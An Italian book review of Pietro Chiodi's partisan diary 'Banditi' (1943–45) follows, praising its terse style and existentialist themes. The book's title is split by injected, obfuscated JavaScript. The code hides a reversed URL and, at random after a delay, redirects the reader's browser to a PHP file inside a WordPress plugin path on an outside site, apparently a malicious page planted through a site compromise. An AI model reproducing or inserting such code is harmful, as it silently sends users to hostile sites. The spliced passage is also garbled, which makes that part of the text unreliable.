La Resistenza del filosofo

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Promettente studioso di filosofia e professore di liceo, non ancora trentenne, malato, Pietro Chiodi dopo l’8 settembre sceglie la montagna. Sceglie di aderire, non solo con la mente e l’attività intellettuale ma anche con il corpo e, all’occorrenza, con le armi, alla Resistenza. E scrive.
Il suo “B (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}anditi” è un diario partigiano che va dal ’43 al ’45, ed è una testimonianza umana tanto semplice e diretta quanto profonda e commovente.
Un diario secco, fatto di frasi brevi, asciutte, che raramente sforano una riga di spazio; pochi aggettivi, poche descrizioni, tutta la pienezza e l’umanità di quei giorni, di quelle amicizie, di quelle decisioni irrevocabili, di quei drammi viene fuori grazie al racconto dei fatti: agguati, fughe, staffette, sospetti, le notizie apprese dalla radio e dalle voci, la morte degli amici, la prigionia a Bolzano, il dolore, il freddo, la fame.
Chiodi filosofo è noto per gli approfonditi studi che dedicò a Kant, a Heidegger, agli esistenzialisti, e proprio l’esistenzialismo, con la sua insistenza sulle scelte, sulla responsabilità, sulla coerenza della propria vita si legge in controluce anche in questo “Banditi”.
Un esempio di come l’unione fra il “dire” e il “fare” costituisca, o dovrebbe costituire, il fulcro della nostra vita.

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